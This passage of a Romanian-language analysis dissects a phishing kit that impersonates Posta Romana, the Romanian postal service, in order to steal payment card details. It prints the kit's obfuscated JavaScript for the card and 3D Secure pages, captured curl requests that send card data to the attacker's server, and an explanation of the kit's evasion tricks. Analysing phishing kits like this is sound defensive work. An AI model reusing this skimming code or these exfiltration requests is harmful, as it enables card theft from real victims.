, O = a1_0x3ff3bb(0x1f0)
, i = _0x267ede=>(a1_0x3718d8(a1_0x3ff3bb(0x1b7)),
_0x267ede = _0x267ede(),
a1_0x5cfad9(),
_0x267ede)
, z = ['onSubmit']
, L = {
'class': a1_0x3ff3bb(0x1e4)
}
, F = {
'class': a1_0x3ff3bb(0x1cb)
}
, G = {
'class': a1_0x3ff3bb(0x1dd)
}
, H = i(()=>a(a1_0x3ff3bb(0x1c3), null, a1_0x3ff3bb(0x1e2), -0x1))
, J = {
'class': a1_0x3ff3bb(0x1ed)
}
, K = a1_0x1458a4(a1_0x3ff3bb(0x1ce) + E + a1_0x3ff3bb(0x1c6) + U + a1_0x3ff3bb(0x1c6) + j + a1_0x3ff3bb(0x1c6) + B + a1_0x3ff3bb(0x1b8), 0x1)
, Q = {
'class': a1_0x3ff3bb(0x1dd)
}
, W = i(()=>a('div', null, a1_0x3ff3bb(0x1cf), -0x1))
, X = {
'class': a1_0x3ff3bb(0x1ed)
}
, Y = {
'class': a1_0x3ff3bb(0x1bd)
}
, Z = i(()=>a(a1_0x3ff3bb(0x1c3), null, 'Expiry\x20date:\x20(mm/yy)', -0x1))
, $ = {
'class': a1_0x3ff3bb(0x1ed)
}
, aa = {
'class': a1_0x3ff3bb(0x1bd),
'style': {
'position': a1_0x3ff3bb(0x1ec)
}
}
, ea = i(()=>a(a1_0x3ff3bb(0x1c3), null, a1_0x3ff3bb(0x1cc), -0x1))
, ta = {
'class': 'input'
}
, sa = i(()=>a(a1_0x3ff3bb(0x1de), {
'src': T,
'alt': '',
'style': {
'position': a1_0x3ff3bb(0x1be),
'right': 'calc(50%\x20+\x2010px)',
'bottom': a1_0x3ff3bb(0x1e6),
'pointer-events': a1_0x3ff3bb(0x1bc)
}
}, null, -0x1))
, da = a1_0x1458a4('<hr\x20data-v-1debaf71><div\x20class=\x22payment-info\x22\x20data-v-1debaf71><div\x20class=\x22left\x22\x20data-v-1debaf71><div\x20data-v-1debaf71><b\x20data-v-1debaf71>Order\x20number:\x20</b><span\x20data-v-1debaf71>3684</span></div><div\x20data-v-1debaf71><b\x20data-v-1debaf71>Order\x20description:\x20</b><span\x20data-v-1debaf71>346841081-1</span></div></div><div\x20class=\x22right\x22\x20data-v-1debaf71><div\x20data-v-1debaf71><b\x20data-v-1debaf71>C.N.Posta\x20Romana\x20S.A.</b></div><div\x20data-v-1debaf71><img\x20style=\x22width:250px;\x22\x20src=\x22' + O + a1_0x3ff3bb(0x1e0), 0x4)
, ia = a1_0x3ed730({
'__name': 'CardPage',
'setup'(_0x27789a) {
const _0x37f093 = a1_0x3ff3bb
, _0x18d1a8 = a1_0x5544a3()
, _0x3dd41a = a1_0x10613d()
, _0x1ee202 = a1_0x4a6010()
, _0x406b63 = a1_0x24b9f4('');
a1_0x8b560f(()=>{
const _0x2b3831 = a1_0xb7df;
_0x1ee202['query'][_0x2b3831(0x1ba)] && (_0x406b63[_0x2b3831(0x1c0)] = _0x2b3831(0x1d3));
}
),
a1_0x4d605e(_0x406b63, ()=>{
const _0x5b0986 = a1_0xb7df;
_0x406b63[_0x5b0986(0x1c0)] && a1_0x304eac(()=>{
const _0x40ed1d = _0x5b0986;
alert(_0x406b63[_0x40ed1d(0x1c0)]),
_0x406b63[_0x40ed1d(0x1c0)] = '',
_0x2c311c['cardNumber'] = '',
_0x2c311c[_0x40ed1d(0x1e1)] = '',
_0x2c311c[_0x40ed1d(0x1ef)] = '';
}
);
}
);
const _0x2c311c = a1_0x3667f5({
'cardName': '',
'cardNumber': '',
'expire': '',
'cvv': ''
});
a1_0x4d605e(_0x2c311c, ()=>{
a1_0x12d5ae(_0x2c311c);
}
),
a1_0x1e26b5(_0x37f093(0x1c5), ()=>{
const _0x560387 = _0x37f093;
_0x3dd41a[_0x560387(0x1ea)](_0x560387(0x1d9));
}
),
a1_0x1e26b5(_0x37f093(0x1c4), ()=>{
const _0x13efe8 = _0x37f093;
_0x406b63[_0x13efe8(0x1c0)] = _0x13efe8(0x1d8);
}
);
function _0x12ccc1() {
const _0x101919 = _0x37f093;
_0x18d1a8['actions'] = [{
'key': _0x101919(0x1c5),
'label': _0x101919(0x1e3)
}, {
'key': _0x101919(0x1c4),
'label': _0x101919(0x1dc)
}];
}
return (_0x3c13eb,_0x4e93fe)=>{
const _0x137210 = _0x37f093
, _0x5105df = a1_0x121b90(_0x137210(0x1d1));
return a1_0x439056(),
a1_0x231a14(_0x137210(0x1d0), {
'class': _0x137210(0x1e9),
'onSubmit': a1_0x214204(_0x12ccc1, ['prevent'])
}, [a('div', L, [a(_0x137210(0x1c3), F, [a(_0x137210(0x1c3), G, [H, a(_0x137210(0x1c3), J, [a1_0x19b6b6(a('input', {
'type': _0x137210(0x1c9),
'minlength': '19',
'inputmode': _0x137210(0x1d4),
'required': '',
'onUpdate:modelValue': _0x4e93fe[0x0] || (_0x4e93fe[0x0] = _0x53c367=>_0x2c311c['cardNumber'] = _0x53c367)
}, null, 0x200), [[_0x5105df, {
'mask': _0x137210(0x1bb)
}], [a1_0x15cc5a, _0x2c311c[_0x137210(0x1bf)]]]), K])]), a(_0x137210(0x1c3), Q, [W, a(_0x137210(0x1c3), X, [a1_0x19b6b6(a(_0x137210(0x1ed), {
'type': 'text',
'required': '',
'onUpdate:modelValue': _0x4e93fe[0x1] || (_0x4e93fe[0x1] = _0x10531e=>_0x2c311c[_0x137210(0x1c1)] = _0x10531e)
}, null, 0x200), [[a1_0x15cc5a, _0x2c311c[_0x137210(0x1c1)]]])])]), a(_0x137210(0x1c3), Y, [Z, a('div', $, [a1_0x19b6b6(a('input', {
'type': _0x137210(0x1c9),
'required': '',
'inputmode': _0x137210(0x1b9),
'onUpdate:modelValue': _0x4e93fe[0x2] || (_0x4e93fe[0x2] = _0xb51754=>_0x2c311c[_0x137210(0x1e1)] = _0xb51754),
'minlength': '5'
}, null, 0x200), [[a1_0x15cc5a, _0x2c311c[_0x137210(0x1e1)]], [_0x5105df, {
'mask': _0x137210(0x1db),
'blocks': {
'mm': {
'mask': a1_0x202944(a1_0x21082d)[_0x137210(0x1d2)],
'from': 0x1,
'to': 0xc,
'autofix': _0x137210(0x1b5)
},
'yy': {
'mask': a1_0x202944(a1_0x21082d)[_0x137210(0x1d2)],
'from': 0x17,
'to': 0x63
}
}
}]])])]), a(_0x137210(0x1c3), aa, [ea, a(_0x137210(0x1c3), ta, [a1_0x19b6b6(a(_0x137210(0x1ed), {
'type': _0x137210(0x1c9),
'required': '',
'minlength': '3',
'maxlength': '4',
'inputmode': _0x137210(0x1b9),
'onUpdate:modelValue': _0x4e93fe[0x3] || (_0x4e93fe[0x3] = _0x3aab9e=>_0x2c311c[_0x137210(0x1ef)] = _0x3aab9e)
}, null, 0x200), [[_0x5105df, {
'mask': _0x137210(0x1c7)
}], [a1_0x15cc5a, _0x2c311c[_0x137210(0x1ef)]]])]), sa])]), da])], 0x28, z);
}
;
}
})
, ra = a1_0x2cc766(ia, [[a1_0x3ff3bb(0x1cd), a1_0x3ff3bb(0x1b7)]]);
export {ra as default};
La care avem din nou avem validari si insertii de html pentru pagina si evenimentul magic pe fiecare input:
'onUpdate:modelValue': _0x4e93fe[0x2] || (_0x4e93fe[0x2] = _0xb51754=>_0x2c311c[_0x137210(0x1e1)] = _0xb51754),
Care va construi obiectul prin _0x4cdda5l:
const _0x4cdda5 = a1_0x3a9875({
'cardName': '',
'cardNumber': '',
'expire': '',
'cvv': ''
});
Ce foloseste aceeasi logica principala din functiile din index, unde la fiecare onUpdate se persista si se trimit datele:

Unde inainte de orice inserare in local storage avem inca datele din pagina precedenta persistate:

Iar la fiecare update in input avem un alt ws event si un POST pe send-data cu datele noi din local storage:
De forma:
curl 'https://posta-romana.shop/socket.io/?EIO=4&transport=polling&t=OW2wlwL&sid=N5AbC2eponegsnGbABX1' \
-H 'authority: posta-romana.shop' \
-H 'accept: */*' \
-H 'accept-language: ro-RO,ro;q=0.9' \
-H 'content-type: text/plain;charset=UTF-8' \
-H 'origin: https://posta-romana.shop' \
-H 'referer: https://posta-romana.shop/' \
-H 'sec-ch-ua: "Chromium";v="112", "Google Chrome";v="112", "Not:A-Brand";v="99"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "x"' \
-H 'sec-fetch-dest: empty' \
-H 'sec-fetch-mode: cors' \
-H 'sec-fetch-site: same-origin' \
-H 'user-agent: Mozilla/5.0 (MX; Intel) Chrome/112.0.0.0' \
--data-raw $'42["message",{"msg":{"type":"5xJtXrZG-T91b8ZAABWB-set-actions","data":[]},"room":"admin"}]\u001e42["message",{"msg":{"type":"5xJtXrZG-T91b8ZAABWB-set-status","data":"当前正在接码页面"},"room":"admin"}]\u001e42["message",{"msg":{"type":"5xJtXrZG-T91b8ZAABWB-sync-data","data":{"id":932,"domain":"https://posta-romana.shop","ip":"185.234.71.36","ua":"Mozilla/5.0 (M; I) Chrome/112.0.0.0; Dubai-Duabi;q=0.9; 0","data":{"__from__":"链接进入","__status__":"当前正在接码页面","姓名":"222cccc","县":"222","城市":"2222bb","地址":"Lalelelor","邮政编码":"212112","电话":"121121","email":"mariana@gmail.com","cardNumber":"1234 5611 2226 6777","cardName":"MarianaGheorghe","cvv":"123","expire":"02/42"},"created_at":"2023-05-09T19:29:18.126Z","updated_at":"2023-05-09T23:48:53.759Z","uploads":[]}},"room":"admin"}]\u001e42["message",{"msg":{"type":"5xJtXrZG-T91b8ZAABWB-set-actions","data":[]},"room":"admin"}]' \
--compressed
Dupa care se ajunge in 3D Secure:

Cu un Verify.js obfuscated:
function a5_0xea35() {
const _0x5f1c11 = ['2592VIwBmW', 'Comerciant:', '150px', '__scopeId', '2937mOUenj', 'replace', '3088WkvJCf', '596199iarVOB', '/card?error=1', 'item', '234614pSXHVS', '/logo.png', '9459nbrEYu', 'info', 'onSubmit', 'right', 'text', '卡号错误', 'content', '拒绝验证码', 'mask', 'img', '接受验证码', '28.80\x20LEI', 'accept', 'Introduceti\x20parola', 'submit', '2579660jLwpRl', 'reject-card', 'VerifyPage', 'logo', '4950hpMHyK', 'button', 'actions', '4581710YPVJiI', 'numeric', 'prevent', 'div', 'continua', 'input', 'verifyCode', 'data-v-43bf4492', 'reject', 'Posta\x20Romana\x20S.A.', '89380QCGpou', '000000', 'center', '4HNCOTo'];
a5_0xea35 = function() {
return _0x5f1c11;
}
;
return a5_0xea35();
}
const a5_0x2f2375 = a5_0x41bd;
(function(_0x3c6f6f, _0x109f71) {
const _0xef853d = a5_0x41bd
, _0x41f2a2 = _0x3c6f6f();
while (!![]) {
try {
const _0x394aa8 = parseInt(_0xef853d(0x1cc)) / 0x1 + -parseInt(_0xef853d(0x1c1)) / 0x2 * (-parseInt(_0xef853d(0x1c9)) / 0x3) + parseInt(_0xef853d(0x1dd)) / 0x4 + -parseInt(_0xef853d(0x1e1)) / 0x5 * (-parseInt(_0xef853d(0x1c2)) / 0x6) + parseInt(_0xef853d(0x1b4)) / 0x7 + parseInt(_0xef853d(0x1c8)) / 0x8 * (parseInt(_0xef853d(0x1ce)) / 0x9) + -parseInt(_0xef853d(0x1be)) / 0xa * (parseInt(_0xef853d(0x1c6)) / 0xb);
if (_0x394aa8 === _0x109f71)
break;
else
_0x41f2a2['push'](_0x41f2a2['shift']());
} catch (_0x29a52f) {
_0x41f2a2['push'](_0x41f2a2['shift']());
}
}
}(a5_0xea35, 0x5c64d));
function a5_0x41bd(_0x2f5600, _0x5a4980) {
const _0xea3525 = a5_0xea35();
return a5_0x41bd = function(_0x41bd70, _0x3b31dd) {
_0x41bd70 = _0x41bd70 - 0x1b2;
let _0x4478a6 = _0xea3525[_0x41bd70];
return _0x4478a6;
}
,
a5_0x41bd(_0x2f5600, _0x5a4980);
}
import {e as a5_0x3e713d, m as a5_0xadb9f, g as a5_0xb0586c, w as a5_0x5b0620, s as a5_0xbbd941, h as a5_0x1a23cf, o as a5_0x3854a9, c as a5_0x5971fd, a as a5_0x1bee65, z as a5_0x6b121c, i as a5_0x31e865, v as a5_0x2edf95, j as a5_0x3742d4, p as a5_0x9abf63, f as a5_0x256f94, l as a5_0xc818f6, y as a5_0x3bee55, u as a5_0x477419} from './index-019e5aab.js';
import {_ as a5_0x2e6633} from './_plugin-vue_export-helper-c27b6911.js';
const I = a5_0x2f2375(0x1cd)
, t = _0xef9d42=>(a5_0x9abf63(a5_0x2f2375(0x1bb)),
_0xef9d42 = _0xef9d42(),
a5_0x256f94(),
_0xef9d42)
, P = [a5_0x2f2375(0x1d0)]
, V = {
'class': a5_0x2f2375(0x1d4)
}
, E = t(()=>a5_0x1bee65('div', {
'class': a5_0x2f2375(0x1e0),
'style': {
'text-align': a5_0x2f2375(0x1d1)
}
}, [a5_0x1bee65(a5_0x2f2375(0x1d7), {
'style': {
'width': a5_0x2f2375(0x1c4)
},
'src': I,
'alt': ''
})], -0x1))
, B = t(()=>a5_0x1bee65('br', null, null, -0x1))
, M = t(()=>a5_0x1bee65('h3', null, a5_0x2f2375(0x1db), -0x1))
, T = t(()=>a5_0x1bee65('p', null, '\x20Te\x20rog\x20introdu\x20parola\x20primita\x20prin\x20SMS\x20in\x20campul\x20de\x20mai\x20jos\x20pentru\x20a\x20confirma\x20tranzacita.\x20', -0x1))
, z = {
'class': a5_0x2f2375(0x1cf)
}
, A = t(()=>a5_0x1bee65(a5_0x2f2375(0x1b7), {
'class': a5_0x2f2375(0x1cb)
}, [a5_0x1bee65(a5_0x2f2375(0x1b7), null, a5_0x2f2375(0x1c3)), a5_0x1bee65(a5_0x2f2375(0x1b7), null, a5_0x2f2375(0x1bd))], -0x1))
, L = t(()=>a5_0x1bee65(a5_0x2f2375(0x1b7), {
'class': 'item'
}, [a5_0x1bee65(a5_0x2f2375(0x1b7), null, 'Descriere:'), a5_0x1bee65(a5_0x2f2375(0x1b7))], -0x1))
, R = t(()=>a5_0x1bee65('div', {
'class': a5_0x2f2375(0x1cb)
}, [a5_0x1bee65(a5_0x2f2375(0x1b7), null, 'Suma:'), a5_0x1bee65('div', null, a5_0x2f2375(0x1d9))], -0x1))
, q = {
'class': a5_0x2f2375(0x1cb)
}
, N = t(()=>a5_0x1bee65(a5_0x2f2375(0x1b7), null, 'Data:', -0x1))
, U = t(()=>a5_0x1bee65('br', null, null, -0x1))
, F = {
'class': a5_0x2f2375(0x1cb)
}
, G = t(()=>a5_0x1bee65(a5_0x2f2375(0x1b7), null, 'Parola\x203D\x20Secure:', -0x1))
, H = t(()=>a5_0x1bee65(a5_0x2f2375(0x1b7), {
'style': {
'text-align': a5_0x2f2375(0x1c0),
'margin-top': '14px'
}
}, [a5_0x1bee65(a5_0x2f2375(0x1b2), {
'type': a5_0x2f2375(0x1dc)
}, a5_0x2f2375(0x1b8))], -0x1))
, J = a5_0x3e713d({
'__name': a5_0x2f2375(0x1df),
'setup'(_0x26f054) {
const _0x3e75b3 = a5_0x2f2375
, _0x67d1ce = a5_0xadb9f()
, _0x4dc888 = a5_0x477419()
, _0x456f2b = a5_0xb0586c({
'verifyCode': ''
});
a5_0x5b0620(_0x456f2b, ()=>{
a5_0xc818f6(_0x456f2b);
}
),
a5_0xbbd941(_0x3e75b3(0x1da), ()=>{
const _0x1d3aa6 = _0x3e75b3;
_0x4dc888[_0x1d3aa6(0x1c7)]('/done');
}
),
a5_0xbbd941(_0x3e75b3(0x1bc), ()=>{
a5_0x3bee55(()=>{
alert('Eroare\x20cod\x20de\x20verificare,\x20repetați'),
_0x456f2b['verifyCode'] = '';
}
);
}
),
a5_0xbbd941(_0x3e75b3(0x1de), ()=>{
const _0x5992ec = _0x3e75b3;
_0x4dc888[_0x5992ec(0x1c7)](_0x5992ec(0x1ca));
}
);
function _0x121c7f() {
const _0x225554 = _0x3e75b3;
_0x67d1ce[_0x225554(0x1b3)] = [{
'key': _0x225554(0x1da),
'label': _0x225554(0x1d8)
}, {
'key': _0x225554(0x1bc),
'label': _0x225554(0x1d5)
}, {
'key': _0x225554(0x1de),
'label': _0x225554(0x1d3)
}];
}
return (_0x32f464,_0x506baf)=>{
const _0x228fe5 = _0x3e75b3
, _0x23931d = a5_0x1a23cf(_0x228fe5(0x1d6));
return a5_0x3854a9(),
a5_0x5971fd('form', {
'class': 'container',
'onSubmit': a5_0x3742d4(_0x121c7f, [_0x228fe5(0x1b6)])
}, [a5_0x1bee65(_0x228fe5(0x1b7), V, [E, B, M, T, a5_0x1bee65('div', z, [A, L, R, a5_0x1bee65(_0x228fe5(0x1b7), q, [N, a5_0x1bee65('div', null, a5_0x6b121c(new Date()['toLocaleDateString']()), 0x1)]), U, a5_0x1bee65(_0x228fe5(0x1b7), F, [G, a5_0x1bee65(_0x228fe5(0x1b7), null, [a5_0x31e865(a5_0x1bee65(_0x228fe5(0x1b9), {
'type': _0x228fe5(0x1d2),
'inputmode': _0x228fe5(0x1b5),
'placeholder': _0x228fe5(0x1bf),
'required': '',
'minlength': '6',
'onUpdate:modelValue': _0x506baf[0x0] || (_0x506baf[0x0] = _0x2ae111=>_0x456f2b[_0x228fe5(0x1ba)] = _0x2ae111)
}, null, 0x200), [[a5_0x2edf95, _0x456f2b[_0x228fe5(0x1ba)]], [_0x23931d, {
'mask': '000000'
}]])])])]), H])], 0x28, P);
}
;
}
})
, W = a5_0x2e6633(J, [[a5_0x2f2375(0x1c5), 'data-v-43bf4492']]);
export {W as default};
Cu aceeasi logica de insertii pe html, validari pe form si onUpdate event:
'onUpdate:modelValue': _0x506baf[0x0] || (_0x506baf[0x0] = _0x2ae111=>_0x456f2b[_0x228fe5(0x1ba)] = _0x2ae111)
Cu obiectul construit pe:
const _0x3e75b3 = a5_0x2f2375
, _0x67d1ce = a5_0xadb9f()
, _0x4dc888 = a5_0x477419()
, _0x456f2b = a5_0xb0586c({
'verifyCode': ''
});
Si pe aceasta pagina e aceeasi tehnica ca pe Address si Card cu functiile de baza din index.js, cu persistare pe local storage si ws request, iar in final cu POST requests pe /send-data ce contin fiecare input, inainte de a apasa butonul de continue:

De forma:
curl 'https://posta-romana.shop/socket.io/?EIO=4&transport=polling&t=OW2wlwL&sid=N5AbC2eponegsnGbABX1' \
-H 'authority: posta-romana.shop' \
-H 'accept: */*' \
-H 'accept-language: ro-RO,ro;q=0.9' \
-H 'content-type: text/plain;charset=UTF-8' \
-H 'origin: https://posta-romana.shop' \
-H 'referer: https://posta-romana.shop/' \
-H 'sec-ch-ua: "Chromium";v="112", "Google Chrome";v="112", "Not:A-Brand";v="99"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "x"' \
-H 'sec-fetch-dest: empty' \
-H 'sec-fetch-mode: cors' \
-H 'sec-fetch-site: same-origin' \
-H 'user-agent: Mozilla/5.0 (M; Intel) Chrome/112.0.0.0' \
--data-raw $'42["message",{"msg":{"type":"5xJtXrZG-T91b8ZAABWB-set-actions","data":[]},"room":"admin"}]\u001e42["message",{"msg":{"type":"5xJtXrZG-T91b8ZAABWB-set-status","data":"当前正在接码页面"},"room":"admin"}]\u001e42["message",{"msg":{"type":"5xJtXrZG-T91b8ZAABWB-sync-data","data":{"id":932,"domain":"https://posta-romana.shop","ip":"185.234.71.36","ua":"Mozilla/5.0 (M; I) Chrome/112.0.0.0; Dubai-Dubai;q=0.9; 0","data":{"__from__":"链接进入","__status__":"当前正在接码页面","姓名":"222cccc","县":"222","城市":"2222bb","地址":"Lalelelor","邮政编码":"212112","电话":"121121","email":"mariana@gmail.com","cardNumber":"1234 5611 2226 6777","cardName":"MarianaGheorghe","cvv":"123","expire":"02/42","verifyCode":"1"},"created_at":"2023-05-09T19:29:18.126Z","updated_at":"2023-05-09T23:48:53.759Z","uploads":[]}},"room":"admin"}]\u001e42["message",{"msg":{"type":"5xJtXrZG-T91b8ZAABWB-set-actions","data":[]},"room":"admin"}]' \
--compressed
Persistat in local storage:

Si pus pe request-ul /send-data cu:

La submit continue se trimite un ultim POST catre: https://posta-romana.shop/api/save-data cu toate datele acumulate. Practic datele de card sunt compromise.
{"__from__":"链接进入","__status__":"当前正在接码页面","姓名":"Marina Popescu","县":"Giurgiu","城市":"Giurgiu","地址":"Marianelor 3","邮政编码":"22323","电话":"0723123141","email":"mariana@gmail.com","cardNumber":"2323 2123 1231 2312","cardName":"Mariana Floarea","cvv":"234","expire":"12/31"}
Dupa acest screen si dupa ce parola de la 3D Secure a fost introdusa se face un redirect spre posta-romana.ro , site-ul real.
Puncte interesante ale acestui atac:
- folosesc evenimente la onUpdate pe fiecare input pentru a trimite in timp real orice caracter/string inserat pentru a-i compromite si pe cei ce doar scriu datele, dar poate se prind de capcana inainte de submit
- tinta lor este trimiterea datelor despre carduri si acceptarea unei prime tranzactii de cativa lei care sa nu bata foarte tare la ochi si in continuare ei vor folosi datele de pe card pentru a interoga alte sume
- folosesc mascarea codului sursa pentru a nu dezvalui logica si posibil destinatia datelor trimise prin form-uri
- rotesc numele variabilelor/mascarea de multiple ori pentru a face tot mai grea o eventuala analiza, mascare care e extrem de greu de adus intr-o forma cat de cat normala prin diverse tool-uri automate, chiar si prin ChatGPT
- folosesc one time link pentru a face extrem de grea analiza atacului, pagina devine inaccesibila dupa ce se “consuma”
- opresc anumite domenii slave dupa o perioada de timp pentru a nu mai lasa paginile de phishing expuse
Ce ar putea fi extrem de marsav in acesta combinatie de API call pe orice activitate din client side e ca pe fiecare input sa existe o clasa sau un id asemanatoare cu cele default gasite prin majoritatea paginilor reale care ar lasa datele personale ori datele de pe card salvate in browser sa mearga in input, un fel de form autocomplete, si inainte sa fie sterse din input ele deja sa fie trimise. Un astfel de “feature” ar duce acest atac intr-o zona mult mai periculoasa.
*Orice curiozitate cu privire la acest atac trebuie sa fie pe deplin asumata cat si consecintele ce pot aparea. Acest atac nu e unul obisnuit si in cazul in care acel autoscomplete apare sau alte feature-uri magice, datele voastre sunt compromise inainte sa apucati sa respirati.